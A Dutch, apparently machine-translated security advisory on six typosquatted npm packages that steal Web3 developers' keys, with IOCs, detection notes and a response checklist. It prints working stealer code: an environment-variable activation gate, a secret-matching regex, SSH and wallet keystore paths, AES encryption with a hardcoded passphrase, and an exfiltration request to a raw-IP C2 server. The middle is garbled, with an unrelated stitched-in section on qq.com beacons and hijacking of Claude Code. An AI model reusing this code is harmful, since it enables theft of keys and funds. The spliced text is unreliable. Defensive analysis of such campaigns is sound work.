EVMDeFi npm Typosquatting-aanval steelt ontwikkelaarssleutels

EVM/DeFi npm Typosquatting-aanval steelt ontwikkelaarssleutels

TL; DR

Op 6 mei 2026 zal één enkele npm-publisher, namikazesarada010206heeft zes kwaadaardige pakketten verspreid die gericht waren op het ecosysteem van Ethereum-, Solidity- en DeFi-ontwikkelaars.

De pakketten, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsen web3-utils-coreEr werden plausibele namen gebruikt die de indruk wekten van hulpbibliotheken voor populaire Web3-tools.

Alle zes pakketten bevatten hetzelfde. telemetry.js bestand. Het bestand was byte-identiek in het hele cluster, met SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

De malware wordt niet uitgevoerd tijdens de installatie. Er is geen preinstall or postinstall haak. In plaats daarvan wordt deze geactiveerd wanneer het pakket wordt geïmporteerd via require().

Dat detail is belangrijk.

Het implantaat wacht totdat een ontwikkelaar het pakket daadwerkelijk gebruikt. Dan controleert het of het werkstation eruitziet als een echte Ethereum/Solidity-ontwikkelomgeving. Het zoekt naar Alchemy- of Infura-sleutels, privésleutels, mnemonics, deployer-sleutels of een lokale Foundry-directory.

Als de host overeenkomt, verzamelt de dief SSH-privésleutels en keystores van Foundry/Geth/Brownie-wallets. .env* bestanden en gevoelige omgevingsvariabelen. Het versleutelt het pakket met AES-256-GCM met behulp van een vastgelegd wachtwoord en stuurt het door naar een onbewerkt IPv4 C2-eindpunt waar TLS-verificatie is uitgeschakeld.

Het Malware Early Warning (MEW)-systeem van Xygeni bevestigde dat alle zes pakketten schadelijk waren. Het rapport over de verwijdering uit het npm-register is nog in behandeling.

Het cluster: zes pakketten, één uitgever

Het uitgeversaccount namikazesarada010206 was gekoppeld aan het niet-geverifieerde Gmail-adres. namikazesarada010206@gmail.com.

De campagne verscheen als een eenmalige publicatie op 6 mei 2026. Alle zes pakketten werden in verschillende versies aangeboden. 1.0.0had geen runtime-afhankelijkheden en bevatte slechts drie bestanden:

package.json
index.js
telemetry.js

Ze hebben ook dezelfde bronrepository opgegeven:

https://github.com/harunosakura030303-maker/evmchain-config

De eerste drie pakketten werden door MEW-scanners gedetecteerd bij de eerste publicatie. De overige drie werden als verdacht aangemerkt na beoordeling van het npm-profiel van de uitgever door een analist. Zodra hetzelfde byte-identieke pakket werd gevonden... telemetry.js Nadat dit binnen het hele cluster was bevestigd, werden ze op basis van consistentie als kwaadaardig afgesloten.

Pakket Versie npm gepubliceerd MEW-ticket Vonnis
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Kwaadaardig
viem-utils-core 1.0.0 2026-05-06 #51050 Kwaadaardig
hardhat-core-utils 1.0.0 2026-05-06 #51051 Kwaadaardig
evm-utils 1.0.0 2026-05-06 #51069 Kwaadaardig, door consistentie
gieterij-hulpprogramma's 1.0.0 2026-05-06 #51071 Kwaadaardig, door consistentie
web3-utils-core 1.0.0 2026-05-06 #51070 Kwaadaardig, door consistentie

De naamgevingsstrategie is eenvoudig maar effectief.

Deze pakketten imiteren niet exact de namen van de originele programma's. In plaats daarvan gebruiken ze plausibele "hulpprogramma"-achtervoegsels zoals -core, -utilsen -utils-coreDaardoor lijken ze op aanvullende bibliotheken die een ontwikkelaar wellicht zou verwachten in de buurt van Web3-tools.

Kwaadaardig pakket Legitiem doelwit
viem-core viem, een populaire Ethereum TypeScript-client
viem-utils-core wij zien
hardhat-core-utils hardhat, een gangbare Solidity-ontwikkelomgeving
evm-utils Generieke EVM-toolingnaamruimte
gieterij-hulpprogramma's Foundry, een Solidity-toolchain
web3-utils-core web3-utils, Web3.js-helpers

Dit is het patroon van het "aanvullende pakket": niet "Ik bén het eigenlijke pakket", maar "Ik lijk een redelijke helper te zijn rondom het eigenlijke pakket."

Voor DeFi-ontwikkelaars is het snel handelen al voldoende om risico's te creëren.

Wat gebeurt er als het pakket wordt geïmporteerd?

De aanvalsketen is klein, weloverwogen en gericht op crypto-ontwikkelomgevingen.

Er is geen installatiehulpmiddel. In plaats daarvan bevat elk pakket een index.js die stubfunctionaliteit exporteert en vervolgens de kwaadaardige telemetriemodule laadt.

require('./telemetry').init();

Dit betekent dat de malware bij de eerste import wordt geactiveerd.

Dat is operationeel nuttig voor de aanvaller. Veel scanners en sandboxes richten zich op het gedrag tijdens de installatie. Dit pakket wacht tot het daadwerkelijk wordt gebruikt door een ontwikkelaar, een buildscript, een testsuite of een runtimepad.

Activeringspoort: Alleen activeren op echte Web3-ontwikkelaarswerkstations

Het belangrijkste onderdeel van het implantaat is de activeringspoort.

De malware controleert omgevingsvariabelen die vaak voorkomen op Ethereum/Solidity-ontwikkelmachines:

const indicators = [
  process.env.ALCHEMY_API_KEY,
  process.env.INFURA_KEY,
  process.env.PRIVATE_KEY,
  process.env.MNEMONIC,
  process.env.DEPLOYER_KEY,
].filter(Boolean);

Het controleert ook of Foundry geïnstalleerd lijkt te zijn:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Als geen van beide voorwaarden waar is, retourneert de functie een waarde en doet niets.

Dat maakt het pakket stiller in algemene analyseomgevingen. Een sandbox zonder Foundry, Alchemy-sleutels, Infura-sleutels, privésleutels of mnemonics kan een ogenschijnlijk onschadelijke import detecteren.

Op een overeenkomende host wacht de malware 60 tot 90 seconden voordat de gegevens worden verzameld:

setTimeout(() => { try { _collect(); } catch {} },
          60000 + Math.random() * 30000).unref();

De vertraging vermindert de duidelijke correlatie tussen import en exfiltratie. .unref() Deze functie zorgt er ook voor dat het hostproces normaal kan worden afgesloten als het pakket is geïmporteerd in een script met een korte looptijd.

Dit is geen luidruchtig, rofzuchtig gedrag. Het is een gerichte diefstal die is ontworpen om alleen te worden uitgevoerd als de ontwikkelomgeving de moeite waard is om te stelen.

Wat de dief verzamelt

Zodra de activeringspoort is gepasseerd, verzamelt de malware gegevens uit bronnen die het belangrijkst zijn voor Web3-ontwikkeling: privésleutels, keystores van wallets, implementatiegegevens, cloudgeheimen, npm-tokens en lokale projectconfiguratie.

Bron Wat wordt er verzameld?
proces.env Elke variabele die overeenkomt met /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Bestanden die PRIVATE KEY of BEGIN OPENSSH bevatten, inclusief de volledige bestandsinhoud.
~/.foundry/keystores/* Foundry wallet keystore-bestanden
~/.ethereum/keystore/* Geth wallet keystore-bestanden
~/.brownie/accounts/* Brownie wallet keystore bestanden
${cwd}/.env Volledige bestandsinhoud
${cwd}/.env.local Volledige bestandsinhoud
${cwd}/.env.production Volledige bestandsinhoud
${cwd}/.env.development Volledige bestandsinhoud
os.hostname() Hostmetadata
crypto.randomUUID() Slachtoffer-/sessie-identificatie
Datum.nu() Tijdstempel van de verzameling
otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.com

De ATTA-tokens zijn:

ATTA_ID 00400014144
ATTA_TOKEN 6478159937

We hebben niet kunnen bevestigen of de telemetriegegevens afkomstig waren van de eigen analyses van de operator of van een apart, gemonetiseerd kanaal. De ATTA-tokens zijn in beide onderzochte samples hetzelfde.

Cluster B: heibai

claude.hk OAuth-phishing + ANTHROPIC_BASE_URL-kaping

Het monster van 1 april vertegenwoordigt de grovere, eerdere fase van de campagne.

heibai:2.1.88-claude.hk-4 werd gepubliceerd door wuguoqiangvip28een account aangemaakt op 7 juni 2025. Het pakket heeft zichzelf expliciet geversioniseerd ten opzichte van de legitieme versie. 2.1.88 Antropogene vrijlating.

Het maakt geen gebruik van CA-cert MITM. In plaats daarvan misleidt het de gebruiker over het OAuth-eindpunt.

De kwaadwillige toevoegingen bovenop de gelekte broncode van Claude Code omvatten:

Bron Wat wordt er verzameld?
proces.env Elke variabele die overeenkomt met /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Bestanden die PRIVATE KEY of BEGIN OPENSSH bevatten, inclusief de volledige bestandsinhoud.
~/.foundry/keystores/* Foundry wallet keystore-bestanden
~/.ethereum/keystore/* Geth wallet keystore-bestanden
~/.brownie/accounts/* Brownie wallet keystore bestanden
${cwd}/.env Volledige bestandsinhoud
${cwd}/.env.local Volledige bestandsinhoud
${cwd}/.env.production Volledige bestandsinhoud
${cwd}/.env.development Volledige bestandsinhoud
os.hostname() Hostmetadata
crypto.randomUUID() Slachtoffer-/sessie-identificatie
Datum.nu() Tijdstempel van de verzameling

De doelwitlijst is zeer specifiek. Dit is geen algemene browserdiefstal of het massaal verzamelen van inloggegevens. Het is gericht op ontwikkelaars die Ethereum-applicaties bouwen, testen, implementeren of beheren.

De aanwezigheid van Foundry-, Geth- en Brownie-keystores is bijzonder belangrijk. Deze bestanden kunnen directe toegang bieden tot wallets of implementatie-identiteiten. Als een aanvaller ze kan koppelen aan wachtwoorden, mnemonics of omgevingsgeheimen, kan hij mogelijk geld overmaken, zich voordoen als implementeerders of de werking van smart contracts compromitteren.

Versleuteling vóór datalekken

De malware versleutelt de verzamelde gegevens voordat ze worden verzonden.

const key = crypto.createHash('sha256').update(K).digest();
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Het vastgelegde wachtwoord is:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

De uiteindelijke gegevens worden als JSON verpakt:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Versleuteling maakt malware op zich niet geavanceerder. Het maakt netwerkinspectie echter wel moeilijker. Een beveiliger die uitgaand verkeer monitort, zou een JSON-payload zien, maar niet de gestolen sleutels, walletbestanden of andere gegevens. .env Inhoud zonder de vastgelegde wachtzin en decryptielogica.

Exfiltratie naar een onbewerkte IPv4 C2-server

Het exfiltratiepad is vastgelegd in de code:

const req = https.request({
  hostname: '76.13.37.80', port: 8443,
  path: '/api/v1/telemetry', method: 'POST',
  headers: { 'Content-Type': 'application/json', ... },
  rejectUnauthorized: false, timeout: 8000,
}, () => {});

De malware verstuurt gegevens naar:

https://76.13.37.80:8443/api/v1/telemetry

Twee details vallen op.

Ten eerste is de C2 een gewoon IPv4-adres in plaats van een domein. Daardoor is domeinregistratie niet nodig en worden bepaalde domein-gebaseerde detecties voorkomen.

Ten tweede wordt TLS-verificatie uitgeschakeld met:

rejectUnauthorized: false

Hierdoor kan de malware elk certificaat accepteren, inclusief zelfondertekende certificaten. Met andere woorden, de aanvaller krijgt versleuteld transport zonder een geldig openbaar certificaat nodig te hebben.

Er is geen logica voor het opnieuw proberen en geen alternatieve host. Fouten worden stilzwijgend genegeerd. Hierdoor blijft het pakket stil als de C2 offline of onbereikbaar is.

Waarom deze campagne belangrijk is

De meeste kwaadaardige npm-pakketten die op ontwikkelaars gericht zijn, proberen brede inloggegevens te bemachtigen: npm-tokens, AWS-sleutels, GitHub-tokens, of .npmrc bestanden.

Deze campagne verkleint de doelgroep.

Het zoekt naar aanwijzingen dat de machine toebehoort aan een Ethereum- of Solidity-ontwikkelaar. Vervolgens haalt het precies de gegevens op die in die omgeving van belang zijn: wallet-keystores, privésleutels, mnemonics, deployer-sleutels, .env bestanden en SSH-sleutels.

Dat maakt de campagne gevaarlijker voor Web3-teams dan een generieke npm-stealer.

Een succesvolle infectie kan het volgende aan het licht brengen:

  • Implementatieportefeuilles
  • Smart contract beheerderssleutels
  • RPC-providersleutels
  • Cloud-implementatie-referenties
  • npm publicatietokens
  • SSH-toegang tot de ontwikkelaars- of bouwinfrastructuur
  • Projectgeheimen opgeslagen in .env bestanden
  • Wallet-sleutelopslag voor Foundry, Geth of Brownie

De pakketnamen verraden ook duidelijk de sociale manipulatie. Ze richten zich op het ecosysteem van Web3-ontwikkelaars door gebruik te maken van bekende toolnamen: viem, hardhat, foundry, evmen web3.

De acteur hoeft de echte projecten niet in gevaar te brengen. Ze hebben alleen een ontwikkelaar nodig die een redelijk ogend aanvullend pakket installeert.

Indicatoren van inbreuk en detectie

Pakketten en uitgever
Veld Waarde
npm-uitgever namikazesarada010206
E-mailadres van de uitgever namikazesarada010206@gmail.com
email geverifieerd Nee
SCM geverifieerd Nee
Reputatiescore 1.0
Formules viem-core, viem-utils-core, hardhat-core-utils, evm-utils, gieterij-utils, web3-utils-core
versies Alle 1.0.0
Bronrepository https://github.com/harunosakura030303-maker/evmchain-config
Bevestigd kwaadaardig Alle zes pakketten
Netwerk
Type Waarde
C2-eindpunt https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2-poort 8443 / tcp
TLS-gedrag afwijzenOngeautoriseerd: onjuist
Payload-schema {"v":2,"iv": ,"D": ,"T": }
Bestanden en hashes
Type Waarde
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Verpakkingsindeling package.json, index.js, telemetry.js
Aantal bestanden 3
Geschatte totale afmetingen 3.4 KB

Activeringssignalen

De malware controleert de volgende omgevingsvariabelen:

ALCHEMY_API_KEY
INFURA_KEY
PRIVATE_KEY
MNEMONIC
DEPLOYER_KEY

Het controleert ook op:

~/.foundry/

Gerichte hostpaden

~/.ssh/*
~/.foundry/keystores/*
~/.ethereum/keystore/*
~/.brownie/accounts/*
${cwd}/.env
${cwd}/.env.local
${cwd}/.env.production
${cwd}/.env.development

Collectie Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Detectie-aantekeningen

Verschillende regels kunnen deze campagne detecteren zonder dat een volledige gedragsanalyse nodig is.

Scan eerst de lockfiles op de zes namen van de kwaadaardige pakketten:

viem-core
viem-utils-core
hardhat-core-utils
evm-utils
foundry-utils
web3-utils-core

Elke wedstrijd in package-lock.json, yarn.lock, pnpm-lock.yamlof node_modules Geschiedenis moet als een ernstig incident worden beschouwd.

Ten tweede, controleer of Node.js-processen de paden naar de wallet-keystore lezen:

~/.foundry/keystores/
~/.ethereum/keystore/
~/.brownie/accounts/

Dit is zelden legitiem gedrag voor een pakket dat als hulpafhankelijkheid is geïmporteerd. Het is vooral verdacht wanneer dit wordt gevolgd door uitgaande netwerkactiviteit.

Ten derde, blokkeer of waarschuw voor HTTPS-verbindingen naar:

76.13.37.80:8443

Vooral wanneer het aanvraagpad is:

/api/v1/telemetry

Ten vierde, zoek naar npm-pakketten die deze eigenschappen combineren:

  • Nieuwe of uitgever met een lage reputatie
  • Niet-geverifieerd Gmail-account
  • Pakketnaam die verwant is aan Web3
  • Geen betekenisvolle repositorygeschiedenis
  • Compacte verpakking
  • index.js dat een telemetrie- of hulpbestand laadt
  • Geen runtime-afhankelijkheden
  • Gevoelige verzameling van omgevingsvariabelen
  • Toegang tot de sleutelkluis van de portemonnee

Dit patroon is nuttiger dan een enkele IOC, omdat het volgende pakket het IP-adres kan wijzigen, maar dezelfde targetinglogica kan behouden.

Checklist voor reactie op een compromis

Als een ontwikkelaar een van de zes pakketten heeft gebruikt en zijn omgeving overeenkwam met de activeringsdrempel, beschouw het werkstation dan als gecompromitteerd.

Dat omvat machines waarop Foundry is geïnstalleerd, Alchemy- of Infura-sleutels in de omgeving, privésleutels, mnemonics of deployer-sleutels.

Aanbevolen antwoord:

  • Ontkoppel de host van het netwerk.
  • Behouden node_modules, lockfiles, shellgeschiedenis en relevante logbestanden voor forensisch onderzoek.
  • Wissel elk SSH-sleutelpaar regelmatig. ~/.ssh/.
  • Wissel de wallet-sleutels voor elke sleutelkluis onder ~/.foundry, ~/.ethereumen ~/.brownie.
  • Verplaats geld naar nieuwe wallets.
  • Draai elk geheim dat is opgeslagen in .env* bestanden in repositories waaraan de ontwikkelaar heeft gewerkt.
  • Wissel omgevingsgeheimen die overeenkomen met de reguliere expressie van de verzameling, waaronder AWS-sleutels, npm-tokens, implementatietokens, API-sleutels, privésleutels, seeds en mnemonics.
  • Controleer de activiteit in de cloud, npm, GitHub, RPC-provider en blockchain sinds de eerste installatie van het pakket.
  • Installeer de image opnieuw op het werkstation voordat u het opnieuw gebruikt.

Wat verdedigers hiervan moeten leren.

Deze campagne laat zien hoe npm-typosquatting zich ontwikkelt rondom waardevolle ontwikkelaars-ecosystemen.

De actor had geen persistentie nodig. Ze hadden geen verhulling nodig. Ze hadden zelfs geen uitvoering tijdens de installatie nodig.

In plaats daarvan vertrouwden ze op drie dingen:

  • Mogelijke pakketnamen voor Web3
  • Activering alleen mogelijk op echte crypto-ontwikkelmachines.
  • Directe diefstal van de bestanden en geheimen die het belangrijkst zijn voor Ethereum-ontwikkelaars.

Daardoor is de campagne bij een algemene scan gemakkelijk over het hoofd te zien en gevaarlijk wanneer ze in de juiste omgeving terechtkomt.

Voor Web3-teams is de les duidelijk: beschouw namen van afhankelijkheden als onderdeel van je dreigingsmodel. Een pakket dat eruitziet als een onschuldig hulpprogramma kan nog steeds de snelste weg naar een cryptovaluta-compromis vormen.

Gemeld bij het npm-register. We zullen dit bericht bijwerken zodra het uitgeversaccount en de pakketten zijn verwijderd.

sca-tools-software-compositie-analyse-tools
Prioriteer, herstel en beveilig uw softwarerisico's
Gratis proefperiode van 7-dag
Geen kredietkaart nodig

Beveilig uw softwareontwikkeling en -levering

met Xygeni-productsuite